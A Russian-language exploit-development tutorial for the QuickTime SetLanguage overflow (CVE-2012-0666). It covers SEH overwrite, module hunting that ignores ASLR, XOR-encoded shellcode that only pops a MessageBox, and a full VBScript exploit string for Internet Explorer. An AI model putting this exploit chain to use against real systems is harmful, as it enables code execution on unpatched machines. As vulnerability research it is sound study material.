Эта процедура опять выделяет память в стеке затем вызывается процедура по адресу 73561250 в которую передаются указатель на память в стеке (pStack), указатель на строку (bstrLang), dLen, и значение LOCAL.10 которое устанавливается в процедуре 735799E1 равное 3:
Как видно из кода происходите проверка параметров и вызывается функция WideCharToMultiByte. Как видно функция пишет данные в pStack, но выхода за границы тут не может быть т.к. все параметры проверяются. Далее трассируя код видно что вызывается процедура уже из библиотеки QuickTimeWebHelper_qtx:
Анализируя возвращаемое значение приходим к выводу что функция успешно выполняется при возвращаемом значении равном 0 иначе метод IQTPluginControl::SetLanguage возвращает E_FAIL. В нашем случае так и происходит. Значит где-то ошибка, если посмотреть на описание метода IQTPluginControl::SetLanguage видно что при установке этого свойства нужен видеофайл с дорожками на необходимом языке:
В нашем случае видеофайла нет вообще поэтому вызов завершается неудачей, а отсутствие доступа к многобайтовой строке объясняется отсутствием дорожек которые бы можно было сравнивать. Теперь нужно создать видеофайл. Особенностью MOV формата является возможность создания text descriptors где можно указать к текстовый поток с необходимым языком без самого видеофайла:
Код:
TEXTtext
{QTtext} {timeScale:30} {width:320} {height:240} {timeStamps:absolute} {language:15} {textEncoding:0}
{font:helvetica} {size:12} {plain} {justify:center} {dropShadow:off} {anti-alias:on}
{textColor: 65535, 65535, 65535} {backColor: 0, 0, 0}
[00:00:00.00]
{ScrollIn:on}
CVE-2012-0666
[00:00:10.00]
Код:
<param name="src" value="f00002.mov">
Теперь можно отслеживать обращение к многобайтовой строке после вызова WideCharToMultiByte для этого поставим брейкпоинт на первый символ. После запуска код остановится при обращении к строке в функции 6EC554B0 модуля QuickTime_qtx:
Как видно сначала определяется размер строки а затем копирование ее. Если посмотреть на адрес назначения то видно что этот адрес в стеке. Это еще одно место с потенциальной уязвимостью. Для определения куда копируется строка перейдем по стеку вызовов на одну функцию выше и посмотрим как передается первый параметр. Если обратить внимание на механизм вызова то будет видно что функция вызывается по указателю, если проанализировать как произошел вызов то будет видно что вызов был через функцию theQuickTimeDispatcher которая принимает идентификатор функции, находит ее адрес и вызывает ее. Собирая все вместе находим что вызов происходит из модуля QuickTimeWebHelper_qtx:
В качестве первого параметра передается фиксированный буфер в стеке. Получается что можно перезаписать стек как нам угодно, т.к. в модуле QuickTimeWebHelper_qtx буфер для строки не выделяется динамически, а расположен статически в стеке.
Для того чтобы протестировать уязвимость нужно сформировать строку таким образом чтобы заменить адрес возврата на необходимый нам, который передаст управление коду в стеке который также будет находится в строке. Также необходимо найти модуль без ASLR поскольку мы используем фиксированные адреса. Для этой задачи напишем небольшую программу на VB6 для поиска модулей без ASLR. Исходный код и скомпилированная программа находятся в папке finder в архиве приложенном к данной статье.
Запускаем поиск по папкам “QuickTime” и “Common Files \Apple\Apple Application Support”:
Смотрим данный модуль в списке загруженных модулей в Internet Explorer:
Как видно найден один модуль который мы можем использовать - icudt46.dll.
Для передачи управления пойдут к примеру команды JMP ESP (FF E4) или CALL ESP (FF D4). Запустим поиск этих команд:
Мы можем использовать этот адрес для «прыжка» в стек для выполнения кода. Как мы определили сначала мы работаем в условиях когда DEP отключен, иначе нужно создавать ROP паттерн чтобы не выполнять код в стеке, а выделять специальную память для него с разрешением на выполнение и копировать шеллкод туда, и оттуда уже выполнять.
Итак, для формирования шеллкода проще всего будет опять вернуться в функцию копирования строки 6EC554B0 модуля QuickTime_qtx и посмотреть расстояние в байтах от буфера-приемника до адреса возврата:
0x32AC650 – 0x32AC44C = 0x204 – столько байт нужно для того чтобы перезаписать адрес возврата. Итак формируем строку размером в 0x204 символов и передаем ее в метод IQTPluginControl::SetLanguage. Незабыв поставить брейкпоинт на функцию бесконтрольного копирования убеждаемся что буфер перезаписывается вместе с адресом возврата, но если выполнить теперь трассировку то будет видно что приложение завершилось со статусом STATUS_STACK_BUFFER_OVERRUN. Вероятно DLL скомпилирована с опцией /GS – в этом режиме потенциально опасные, с точки зрения перезаписи буфера функции обрамляются проверкой, представляющей из себя определенное значение записанное в самом начале после адреса возврата. Если функция перезаписывает данные за пределом буфера, то она перезапишет и это значение и при проверке это будет выявлено и процесс аварийно завершится не дав нашему коду выполнится. Действительно если переместиться в пролог и эпилог проблемной функции можно увидеть следующие инструкции:
По адресу 7351DC38 хранится так называемое __security_cookie – значение вычисляемое при старте модуля, уникальное для каждого запуска. Как видно из кода функция в прологе XOR’ит это значение с указателем стека, а при выходе из функции проделывает обратную операцию и запускает проверку – не изменилось ли оно. При перезаписи буфера мы в любом случае перезапишем это значение и функция аварийно завершится. Для обхода этой проблемы мы к примеру можем вычислить это значение, но если посмотреть на декомпилируемый листинг функции инициирующей значение __security_cookie то заметим что это сделать почти нереально, поскольку значения временных функций и высокочастотных счетчиков постоянно изменяются:
Код:
DWORD __security_init_cookie()
{
DWORD result; // eax@3
DWORD v1; // esi@4
DWORD v2; // esi@4
DWORD v3; // esi@4
DWORD v4; // esi@4
DWORD v5; // esi@4
LARGE_INTEGER PerformanceCount; // [sp+8h] [bp-10h]@4
struct _FILETIME SystemTimeAsFileTime; // [sp+10h] [bp-8h]@1
SystemTimeAsFileTime.dwLowDateTime = 0;
SystemTimeAsFileTime.dwHighDateTime = 0;
if ( __security_cookie != 0xBB40E64E && __security_cookie & 0xFFFF0000 )
{
result = ~__security_cookie;
dword_6755DC3C = ~__security_cookie;
}
else
{
GetSystemTimeAsFileTime(&SystemTimeAsFileTime);
v1 = SystemTimeAsFileTime.dwLowDateTime ^ SystemTimeAsFileTime.dwHighDateTime;
v2 = GetCurrentProcessId() ^ v1;
v3 = GetCurrentThreadId() ^ v2;
v4 = GetTickCount() ^ v3;
QueryPerformanceCounter(&PerformanceCount);
result = PerformanceCount.LowPart ^ PerformanceCount.HighPart;
v5 = PerformanceCount.LowPart ^ PerformanceCount.HighPart ^ v4;
if ( v5 == 0xBB40E64E )
{
v5 = 0xBB40E64F;
}
else if ( !(v5 & 0xFFFF0000) )
{
result = v5 << 16;
v5 |= v5 << 16;
}
__security_cookie = v5;
dword_6755DC3C = ~v5;
}
return result;
}
Расстояние до структуры EXCEPTION_REGISTRATION равно 0x32CCB80 - 0x32СC8A8 -1 = 0x2D7 байт. В первые 4 байта мы запишем опкод инструкции JMP $+8 = 0x06EB, в следующие 4 мы запишем адрес обработчика исключений который необходимо найти, а затем наш шеллкод.
Для поиска обработчика исключений нужно обеспечить передачу управление по адресу второго аргумента. Типичная последовательность инструкций POP/POP/RET – изъять адрес возврата, первый параметр и перейти по второму параметру. Последовательность может быть разной к примеру CALL DWORD [ESP+8], JMP DWORD [ESP+8] и т.д. Для поиска воспользуемся Immunity Debbuger со скриптом mona. Также этот скрипт позволяет найти модули без ASLR. Т.к. такой модуль всего лишь один (icudt46.dll), и скрипт не находит в нем необходимой последовательностии инструкций, то придется загружать другой модуль в котором будет отключен ASLR и присутствовать нужная последовательность инструкций. Для этого сначала запустим поиск модулей без ASLR используя finder в системной папке. На тестируемой машине поиск выдал следующий список модулей:
amcompat.tlb
atmfd.dll
BOOTVID.DLL
COMCT232.OCX
COMCT332.OCX
COMCTL32.oca
COMCTL32.OCX
COMDLG32.oca
COMDLG32.OCX
COMMTB32.DLL
CRSWPP.DLL
crtdll.dll
ctl3d32.dll
DBADAPT.DLL
DBLIST32.OCX
DBMSSHRN.DLL
DBMSSOCN.DLL
expsrv.dll
MSWINSCK.OCX
ntkrnlpa.exe
ntoskrnl.exe
ODBCCP32.CPL
ODBCTL32.DLL
PICCLP32.OCX
PIPARSE.DLL
POSTWPP.DLL
PSHED.DLL
FPWPP.DLL
FTPWPP.DLLhha.dll
HLP95EN.DLL
HTMUTIL.DLL
iac25_32.ax
IMGWALK.DLL
ir32_32.dll
ir41_32.ax
ir41_qc.dll
ir41_qcx.dll
ir50_32.dll
ir50_qc.dll
ir50_qcx.dll
ivfsrc.ax
MCI32.OCX
MDT2FW95.DLL
mfc40.dll
python27.dll
RDOCURS.DLL
REPUTIL.DLL
RICHTX32.oca
RICHTX32.OCX
SCP32.DLL
SELFREG.DLL
SQLPARSE.DLL
sqlunirl.dllmfc40u.dll
mfc71.dll
mfc71u.dll
MSADODC.OCX
MSBIND.DLL
MSCHRT20.OCX
MSCOMCT2.oca
MSCOMCT2.OCX
MSCOMCTL.oca
MSCOMM32.OCX
mscorier.dll
mscories.dll
MSDATGRD.OCX
MSDATLST.OCX
MSDATREP.OCX
MSDBRPT.DLL
MSDBRPTR.DLL
msdxm.tlb
sqlwid.dll
sqlwoa.dll
stdole32.tlb
SYSINFO.OCX
TABCTL32.OCX
TLBINF32.DLL
TrickAdvanced.dll
TsWpfWrp.exe
VB5DB.DLLMSFLXGRD.OCX
MSHFLXGD.OCX
MSINET.OCX
MSJET35.DLL
MSJINT35.DLL
MSJT4JLT.DLL
MSJTER35.DLL
MSMAPI32.OCX
MSMASK32.OCX
MSRD2X35.DLL
MSRDO20.DLL
MSREPL35.DLL
MSSTDFMT.DLL
MSSTKPRP.DLL
msvbvm60.dll
msvcr71.dll
msvcrt20.dll
MSWINSCK.oca
VB6STKIT.DLL
vbajet32.dll
VBAR332.DLL
VEN2232.OLB
vfpodbc.dll
vm3dgl.dll
WEBPOST.DLL
WINDBVER.EXE
WPWIZDLL.DLL
Библиотка MSVBVM60.DLL является библиотекой времени выполнения для приложений написанных на VB6, она также по умолчанию поставляется с Windows и не требует установки. Для загрузки этой DLL в память нужно просто создать какой-либо COM-объект предоставляемый этой DLL. Для получения идентификатора класса откроем эту DLL в OleView и перейдем к списку коклассов:
Используем этот идентификатор для создания объекта на HTML странице:
Код:
...
<body>
<object CLASSID="clsid:A4C4671C-499F-101B-BB78-00AA00383CBB"}>
</object>
<object CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" ID="QT">
<param name="src" value="f00002.mov">
</object>
<body onload="vbscript:RunExploit()">
</body>
...
Этот идентификатор присутствует в реестре:
Также я проверил на Win8 x64, на WinXP и Win7 x64 – эта запись присутствует в реестре. Вставляем ее в HTML страницу и обновляем ее – модуль MSVBVM60 появился в списке:
Теперь запускаем поиск SEH обработчиков подходящих нам, скрипт mona нашел 1303 места для обработчиков:
Выбираем любой к примеру 0x72A3067A. Запишем этот адрес в строку по смещению 0x2D7 + 4. Для длины строки выберем экспериментально размер 0x4FFF. Если эксплоит не будет выбрасывать исключение это значение можно увеличить.
Итак формируем строку - String(&H2D7, "x") & Chr(&HEB) & Chr(&H6) & "xx" & Chr(&H7A) & Chr(&H6) & Chr(&HA3) & Chr(&H72) & String(&H4D20, "x")), и проверяем работу. В текущей сессии при копировании строки происходит выброс исключения, при просмотре таблицы исключений видно что оно заменено на наше и если передать управление обработчику то будет выполнен наш обработчик из MSVBVM60:
Итак, все работает – управление передается в стек на наш шеллкод. Сделаем простейший шеллкод (на FASM) для запуска в стеке функции MessageBoxA используя вспомогательные функции MSVBVM60:
Код:
use32
addr_DllFunctionCall equ 0x7294A0FD
XOR_VALUE equ 0x92b57bcd
OFFSET_BEFORE_START equ 0x08
; Чтобы обеспечить полное копирование кода
; нужно поксорить его с числом чтобы в
; результате не было нулей
shellcode:
mov eax, esp
sub eax, 4
mov ecx, dword [eax]
add ecx, start_c - shellcode + OFFSET_BEFORE_START
push (end_c - start_c) / 4 + 1
pop eax
xchg eax, ecx
next_enc:
xor dword [eax], XOR_VALUE
add eax, 4
loop next_enc
start_c:
lea ebp, dword [eax - ((end_c - start_c) / 4 + 1)*4 - (start_c - shellcode)]
jmp begin
funcName: db 'MessageBoxA', 0
libName: db 'user32', 0
text: db 'Hello world!', 0
begin:
push 0
push 0
push esp
push 0
sub esp, 8
push esp
mov eax, ebp
add eax, funcName
mov dword [esp+8], eax
add eax, libName - funcName
mov dword [esp+4], eax
mov eax, addr_DllFunctionCall
call eax
mov ecx, ebp
add ecx, text
push 0
push 0
push ecx
push 0
call eax
end_c:
Код до шифрования:
Код:
89 E0 83 E8 04 8B 08 83 C1 21 6A 16 58 91 81 30
CD 7B B5 92 83 C0 04 E2 F5 8D 68 8F EB 20 4D 65
73 73 61 67 65 42 6F 78 41 [COLOR=#E25041]00[/COLOR] 75 73 65 72 33 32
[COLOR=#E25041]00[/COLOR] 48 65 6C 6C 6F 20 77 6F 72 6C 64 21 [COLOR=#E25041]00[/COLOR] 6A [COLOR=#E25041]00[/COLOR]
6A [COLOR=#E25041]00[/COLOR] 54 6A [COLOR=#E25041]00[/COLOR] 83 EC 08 54 89 E8 83 C0 1E 89 44
24 08 83 C0 0C 89 44 24 04 B8 FD A0 94 72 FF D0
89 E9 83 C1 31 6A [COLOR=#E25041]00 [/COLOR]6A [COLOR=#E25041]00 [/COLOR]51 6A [COLOR=#E25041]00[/COLOR] FF D0
Код:
89 E0 83 E8 04 8B 08 83 C1 21 6A 16 58 91 81 30
CD 7B B5 92 83 C0 04 E2 F5 40 13 3A 79 ED 36 D0
E1 BE 1A D2 F7 8F 14 CD D3 CD 0E C6 F7 BF 48 87
92 85 1E D9 FE A2 5B C2 FD BF 17 D1 B3 CD 11 B5
F8 CD 2F DF 92 4E 97 BD C6 44 93 36 52 D3 F2 F1
B6 C5 F8 75 9E 44 3F 91 96 75 86 15 06 BF 84 65
1B 24 F8 74 A3 A7 7B DF 92 9C 11 B5 6D 1D
Код:
QT.SetLanguage (String(&H2D7, "x") & Chr(&HEB) & Chr(&H6) & "xx" & Chr(&H7A) & Chr(&H6) & Chr(&HA3) & Chr(&H72) & _
Chr(&H89) & Chr(&HE0) & Chr(&H83) & Chr(&HE8) & Chr(&H4) & Chr(&H8B) & Chr(&H8) & Chr(&H83) & _
Chr(&HC1) & Chr(&H21) & Chr(&H6A) & Chr(&H16) & Chr(&H58) & Chr(&H91) & Chr(&H81) & _
Chr(&H30) & Chr(&HCD) & Chr(&H7B) & Chr(&HB5) & Chr(&H92) & Chr(&H83) & Chr(&HC0) & _
Chr(&H4) & Chr(&HE2) & Chr(&HF5) & Chr(&H40) & Chr(&H13) & Chr(&H3A) & Chr(&H79) & _
Chr(&HED) & Chr(&H36) & Chr(&HD0) & Chr(&HE1) & Chr(&HBE) & Chr(&H1A) & Chr(&HD2) & _
Chr(&HF7) & Chr(&H8F) & Chr(&H14) & Chr(&HCD) & Chr(&HD3) & Chr(&HCD) & Chr(&HE) & _
Chr(&HC6) & Chr(&HF7) & Chr(&HBF) & Chr(&H48) & Chr(&H87) & Chr(&H92) & Chr(&H85) & _
Chr(&H1E) & Chr(&HD9) & Chr(&HFE) & Chr(&HA2) & Chr(&H5B) & Chr(&HC2) & Chr(&HFD) & _
Chr(&HBF) & Chr(&H17) & Chr(&HD1) & Chr(&HB3) & Chr(&HCD) & Chr(&H11) & Chr(&HB5) & _
Chr(&HF8) & Chr(&HCD) & Chr(&H2F) & Chr(&HDF) & Chr(&H92) & Chr(&H4E) & Chr(&H97) & _
Chr(&HBD) & Chr(&HC6) & Chr(&H44) & Chr(&H93) & Chr(&H36) & Chr(&H52) & Chr(&HD3) & _
Chr(&HF2) & Chr(&HF1) & Chr(&HB6) & Chr(&HC5) & Chr(&HF8) & Chr(&H75) & Chr(&H9E) & _
Chr(&H44) & Chr(&H3F) & Chr(&H91) & Chr(&H96) & Chr(&H75) & Chr(&H86) & Chr(&H15) & _
Chr(&H6) & Chr(&HBF) & Chr(&H84) & Chr(&H65) & Chr(&H1B) & Chr(&H24) & Chr(&HF8) & _
Chr(&H74) & Chr(&HA3) & Chr(&HA7) & Chr(&H7B) & Chr(&HDF) & Chr(&H92) & Chr(&H9C) & _
Chr(&H11) & Chr(&HB5) & Chr(&H6D) & Chr(&H1D) & String(&H6FFF, "x"))
Я также увеличил число дополнительных символов до 0x6FFF для более надежного срабатывания обработчика исключений. Теперь если запустить код в Internet Explorer’е с выключенным DEP, то отобразится MsgBox:
Т.к. модуль MSVBVM60 является системным то из-за ASLR он может быть загружен не по базовому адресу если его место будет занимать другой системный модуль с включенным ASLR т.к. базы системных модулей расположены рядом друг с другом. Для обхода этого ограничения попробуем сделать тоже самое используя несистемный модуль RICHTX32.OCX. Этот модуль имеет базу 0x20000000. Используя скрипт mona находим подходящий SEH обработчик (нас интересуют адреса без нулевых батов) - 0x200127c2. Теперь разработаем шеллкод для этого модуля:
Код:
use32
addr_MessageBoxA equ 0x20001158 ; IAT in RICHTX32
XOR_VALUE equ 0x92b57bcd
OFFSET_BEFORE_START equ 0x08
; Чтобы обеспечить полное копирование кода
; нужно поксорить его с числом чтобы в
; результате не было нулей
shellcode:
mov eax, esp
sub eax, 4
mov ecx, dword [eax]
add ecx, start_c - shellcode + OFFSET_BEFORE_START
push (end_c - start_c) / 4 + 1
pop eax
xchg eax, ecx
next_enc:
xor dword [eax], XOR_VALUE
add eax, 4
loop next_enc
start_c:
lea ebp, dword [eax - ((end_c - start_c) / 4 + 1)*4 - (start_c - shellcode)]
jmp begin
text: db 'Hello world!', 0
begin:
mov eax, addr_MessageBoxA
mov ecx, ebp
add ecx, text
push 0
push 0
push ecx
push 0
call dword [eax]
end_c:
Собираем строку, записываем в скрипт и пробуем запускать страницу:
Как видно эксплоит работает. Теперь для проверки установим версию QuickTime 7.7.2 в которой закрыли данную уязвимость. Откроем файл QuickTime.qtx в отладчике и посмотрим на проблемную функцию копирования строки в сравнении с функцией имеющей уязвимость:
Как видно из кода, разработчики добавили проверку на превышение 255 символов, и данные эксплоиты не будут работать в этой версии.
Тестирование производилось на системе Windows 7 x64 SP1, в браузере Internet Explorer 8.0.7601.17514. Предотвращение выполнения данных отключено для всех процессов в том числе и системных. Версии библиотек: MSVBVM60.DLL – 6.00.9815, RICHTX32.OCX – 6.01.9782.
Вложения:
- finder – исходные коды и скомпилированное приложение для поиска модулей без ASLR (VB6);
- strmaker – исходные коды и скомпилированное приложение для формирования строки для vbScript (VB6);
- shellcode_1 – исходный код и скомпилированный бинарник шеллкода с закодированным содержимым с адреса 0x19 для эксплоита с библиотекой MSVBVM60 (FASM);
- shellcode_2 – исходный код и скомпилированный бинарник шеллкода с закодированным содержимым с адреса 0x19 для эксплоита с библиотекой RICHTX32.OCX (FASM);
- exploit_1 – эксплоит CVE-2012-0666 с использованием библиотеки MSVBVM60;
- exploit_2 – эксплоит CVE-2012-0666 с использованием библиотеки RICHTX.OCX;
- dep – командная строка для отключения DEP.
Автор: vborion